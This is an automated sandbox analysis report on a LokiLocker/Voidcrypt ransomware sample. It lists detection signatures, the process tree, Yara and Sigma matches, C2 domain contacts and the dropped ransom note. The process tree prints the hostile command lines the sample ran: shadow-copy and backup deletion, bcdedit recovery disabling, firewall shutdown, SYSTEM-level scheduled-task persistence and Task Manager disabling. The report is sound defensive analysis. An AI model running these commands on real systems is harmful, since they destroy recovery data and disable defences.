Play interactive tour

Edit tour

Windows Analysis Report Unlockpls.dr01@protonmail.com-1.exe

Overview

General Information

Sample Name:	Unlockpls.dr01@protonmail.com-1.exe
Analysis ID:	545393
MD5:	3504dd5ccaedef6d34d7e9090458e58b
SHA1:	7b73993fb07c0b16171bad449e49c9344ca87d6a
SHA256:	f2da3d1410c5058720a4307acf5fec7fc2b54285be9dd89eae108cce368dcde7
Tags:	exeLokiLockerRansomware
Infos:
Most interesting Screenshot:

Detection

Loki Locker Voidcrypt

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: WannaCry Ransomware

Yara detected Voidcrypt Ransomware

Sigma detected: Schedule system process

Found ransom note / readme

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Yara detected RansomwareGeneric

Yara detected LokiLocker Ransomware

Antivirus detection for dropped file

Sigma detected: Drops script at startup location

Multi AV Scanner detection for dropped file

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Sigma detected: Copying Sensitive Files with Credential Data

Uses netsh to modify the Windows network and firewall settings

Drops PE files to the startup folder

Disables the windows firewall (over ALG)

Uses bcdedit to modify the Windows boot settings

Machine Learning detection for sample

Writes many files with high entropy

Machine Learning detection for dropped file

Drops script or batch files to the startup folder

Modifies the windows firewall

Deletes shadow drive data (may be related to ransomware)

Uses schtasks.exe or at.exe to add and modify task schedules

PE file contains section with special chars

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Drops PE files to the application program directory (C:\ProgramData)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Stores large binary data to the registry

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Found dropped PE file which has not been started or loaded

Entry point lies outside standard sections

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Binary contains a suspicious time stamp

Creates a start menu entry (Start Menu\Programs\Startup)

Uses reg.exe to modify the Windows registry

Sigma detected: Suspicious Csc.exe Source File Folder

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Compiles C# or VB.Net code

Creates a process in suspended mode (likely to inject code)

Sigma detected: Firewall Disabled via Netsh

Classification

Process Tree

System is w10x64

Unlockpls.dr01@protonmail.com-1.exe (PID: 7148 cmdline: "C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe" MD5: 3504DD5CCAEDEF6D34D7E9090458E58B)

cmd.exe (PID: 400 cmdline: "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 10428 cmdline: schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F MD5: 15FF7D8324231381BAD48A052F85DF04)

csc.exe (PID: 1876 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)

conhost.exe (PID: 3336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cvtres.exe (PID: 5004 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA4A.tmp" "c:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP" MD5: C09985AE74F0882F208D75DE27770DFA)

cmd.exe (PID: 11280 cmdline: "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 11636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vssadmin.exe (PID: 11736 cmdline: vssadmin delete shadows /all /quiet MD5: 7E30B94672107D3381A1D175CF18C147)

cmd.exe (PID: 11644 cmdline: "C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 11872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 11880 cmdline: "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 12064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 12100 cmdline: wmic shadowcopy delete MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

cmd.exe (PID: 12056 cmdline: "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 12124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 12116 cmdline: "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 11772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 11756 cmdline: "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 11896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 11888 cmdline: "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 12016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 11820 cmdline: netsh advfirewall set currentprofile state off MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

cmd.exe (PID: 12024 cmdline: "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 11796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 1136 cmdline: netsh firewall set opmode mode=disable MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

winlogon.exe (PID: 5688 cmdline: C:\Users\user\AppData\Roaming\winlogon.exe MD5: 3504DD5CCAEDEF6D34D7E9090458E58B)

cmd.exe (PID: 5340 cmdline: "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Windows\system32\config\systemprofile\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5572 cmdline: schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Windows\system32\config\systemprofile\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F MD5: 15FF7D8324231381BAD48A052F85DF04)

winlogon.exe (PID: 7412 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe" MD5: 3504DD5CCAEDEF6D34D7E9090458E58B)

winlogon.exe (PID: 12144 cmdline: "C:\ProgramData\winlogon.exe" MD5: 3504DD5CCAEDEF6D34D7E9090458E58B)

winlogon.exe (PID: 12088 cmdline: "C:\ProgramData\winlogon.exe" MD5: 3504DD5CCAEDEF6D34D7E9090458E58B)

notepad.exe (PID: 11788 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logs.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

cmd.exe (PID: 4876 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 11772 cmdline: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f MD5: E3DACF0B31841FA02064B4457D44B357)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.442723481.00000000025EC000.00000004.00000001.sdmp	JoeSecurity_Voidcrypt	Yara detected Voidcrypt Ransomware	Joe Security
00000030.00000002.493373542.0000000002CF0000.00000004.00000001.sdmp	JoeSecurity_Voidcrypt	Yara detected Voidcrypt Ransomware	Joe Security
0000002E.00000002.477151673.0000000002CB2000.00000004.00000001.sdmp	JoeSecurity_Voidcrypt	Yara detected Voidcrypt Ransomware	Joe Security
Process Memory Space: Unlockpls.dr01@protonmail.com-1.exe PID: 7148	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Unlockpls.dr01@protonmail.com-1.exe PID: 7148	JoeSecurity_LokiLocker	Yara detected LokiLocker Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 5688	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: winlogon.exe PID: 5688	JoeSecurity_LokiLocker	Yara detected LokiLocker Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 7412	JoeSecurity_Voidcrypt	Yara detected Voidcrypt Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 7412	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: winlogon.exe PID: 7412	JoeSecurity_LokiLocker	Yara detected LokiLocker Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 12144	JoeSecurity_Voidcrypt	Yara detected Voidcrypt Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 12144	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: winlogon.exe PID: 12144	JoeSecurity_LokiLocker	Yara detected LokiLocker Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 12088	JoeSecurity_Voidcrypt	Yara detected Voidcrypt Ransomware	Joe Security
Process Memory Space: winlogon.exe PID: 12088	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: winlogon.exe PID: 12088	JoeSecurity_LokiLocker	Yara detected LokiLocker Ransomware	Joe Security
Click to see the 11 entries

Sigma Overview

System Summary:

Sigma detected: WannaCry Ransomware

Show sources

Source: Process started

Author: Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet, CommandLine: "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe" , ParentImage: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe, ParentProcessId: 7148, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet, ProcessId: 12056

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Show sources

Source: Process started

Author: Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: vssadmin delete shadows /all /quiet, CommandLine: vssadmin delete shadows /all /quiet, CommandLine|base64offset|contains: vh, Image: C:\Windows\SysWOW64\vssadmin.exe, NewProcessName: C:\Windows\SysWOW64\vssadmin.exe, OriginalFileName: C:\Windows\SysWOW64\vssadmin.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 11280, ProcessCommandLine: vssadmin delete shadows /all /quiet, ProcessId: 11736

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet, CommandLine: "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe" , ParentImage: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe, ParentProcessId: 7148, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet, ProcessId: 11280

Sigma detected: Suspicious Csc.exe Source File Folder

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe" , ParentImage: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe, ParentProcessId: 7148, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline, ProcessId: 1876

Sigma detected: Firewall Disabled via Netsh

Show sources

Source: Process started

Author: Fatih Sirin: Data: Command: netsh advfirewall set currentprofile state off, CommandLine: netsh advfirewall set currentprofile state off, CommandLine|base64offset|contains: l, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 11888, ProcessCommandLine: netsh advfirewall set currentprofile state off, ProcessId: 11820

Data Obfuscation:

Sigma detected: Drops script at startup location

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe, ProcessId: 7148, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F, CommandLine: "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe" , ParentImage: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe, ParentProcessId: 7148, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F, ProcessId: 400

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Unlockpls.dr01@protonmail.com-1.exe

ReversingLabs: Detection: 67%

Antivirus / Scanner detection for submitted sample

Show sources

Source: Unlockpls.dr01@protonmail.com-1.exe

Avira: detected

Antivirus detection for dropped file

Show sources

Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Avira: detection malicious, Label: HEUR/AGEN.1139796
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Avira: detection malicious, Label: HEUR/AGEN.1139796
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Avira: detection malicious, Label: HEUR/AGEN.1139796
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Avira: detection malicious, Label: HEUR/AGEN.1139796

Multi AV Scanner detection for dropped file

Show sources

Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	ReversingLabs: Detection: 71%
Source: C:\ProgramData\winlogon.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\winlogon.exe	ReversingLabs: Detection: 71%
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\winlogon.exe	ReversingLabs: Detection: 71%
Source: C:\Windows\SysWOW64\winlogon.exe	ReversingLabs: Detection: 71%
Source: C:\Windows\winlogon.exe	ReversingLabs: Detection: 71%

Machine Learning detection for sample

Show sources

Source: Unlockpls.dr01@protonmail.com-1.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe	Joe Sandbox ML: detected

Source: Unlockpls.dr01@protonmail.com-1.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: Unlockpls.dr01@protonmail.com-1.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.3:50500 -> 91.223.82.6:80

Source: winlogon.exe, 00000011.00000003.556692762.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556814253.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.543833970.000000000600C000.00000004.00000001.sdmp	String found in binary or memory: http://loki-locker.one/
Source: winlogon.exe, 00000011.00000003.556692762.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.556814253.000000000600C000.00000004.00000001.sdmp, winlogon.exe, 00000011.00000003.543833970.000000000600C000.00000004.00000001.sdmp	String found in binary or memory: http://loki-locker.one/D
Source: winlogon.exe, 00000011.00000003.555745206.0000000000EFD000.00000004.00000001.sdmp	String found in binary or memory: http://loki-locker.one/index.php
Source: winlogon.exe2.0.dr	String found in binary or memory: https://code.jquery.com/jquery-latest.js
Source: winlogon.exe	String found in binary or memory: https://picc.io
Source: winlogon.exe2.0.dr	String found in binary or memory: https://picc.io/X8GRzsw.gif

Source: unknown

DNS traffic detected: queries for: loki-locker.one

Source: winlogon.exe, 00000014.00000002.441550697.00000000008BB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Voidcrypt Ransomware

Show sources

Source: Yara match	File source: 00000014.00000002.442723481.00000000025EC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.493373542.0000000002CF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.477151673.0000000002CB2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 12144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 12088, type: MEMORYSTR

Found ransom note / readme

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\Configuration\Restore-My-Files.txt

Dropped file: !!!All of your files are encrypted!!!To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.comIn case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.comAll your files will be lost on Monday, January 10, 2022 9:36:01 AM.Your SYSTEM ID : 57802C8E!!!Deleting "Cpriv.Loki" causes permanent data loss.

Jump to dropped file

Yara detected RansomwareGeneric

Show sources

Source: Yara match	File source: Process Memory Space: Unlockpls.dr01@protonmail.com-1.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 12144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 12088, type: MEMORYSTR

Yara detected LokiLocker Ransomware

Show sources

Source: Yara match	File source: Process Memory Space: Unlockpls.dr01@protonmail.com-1.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 12144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 12088, type: MEMORYSTR

Writes many files with high entropy

Show sources

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms entropy: 7.99968070401	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms entropy: 7.99968050454	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\MEDIA\APPLAUSE.WAV entropy: 7.993049364	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\MEDIA\LYNC_presence.wav entropy: 7.9991859334	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\Microsoft.Lync.Utilities.Controls.zip entropy: 7.99467842531	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\MSACC.OLB entropy: 7.99973613287	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\MSIPC\zh-CN\msipc.dll.mui entropy: 7.99058153919	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\PAGESIZE\PGLBL016.XML entropy: 7.99886941254	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Document Themes 16\Theme Effects\Glossy.eftx entropy: 7.99942196629	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\1033\EXCEL.HXS entropy: 7.99987974548	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\1033\PROTTPLV.DOC entropy: 7.99064793847	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\1033\PUBFTSCM\SCHEME31.CSS entropy: 7.99862961894	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\1033\PUBSPAPR\PDIR31F.GIF entropy: 7.99208871618	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\1033\PUBSPAPR\ZPDIR36F.GIF entropy: 7.99461240097	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\1033\WINWORD.HXS entropy: 7.99969418967	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Power Map Excel Add-in\EXCELPLUGINDATAPROVIDER.DLL entropy: 7.99985595809	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\Default\NTUSER.DAT entropy: 7.99947806139	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\Default\NTUSER.DAT.LOG1 entropy: 7.99657229847	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\hive.xsl entropy: 7.99822213367	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\PowerPivot Excel Add-in\Resources\1061\PowerPivotExcelClientAddIn.rll entropy: 7.99716891174	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Program Files (x86)\Microsoft Office\Office16\BCSClientManifest.man entropy: 7.99334043497	Jump to dropped file
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	File created: C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf entropy: 7.99706432035	Jump to dropped file

Deletes shadow drive data (may be related to ransomware)

Show sources

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
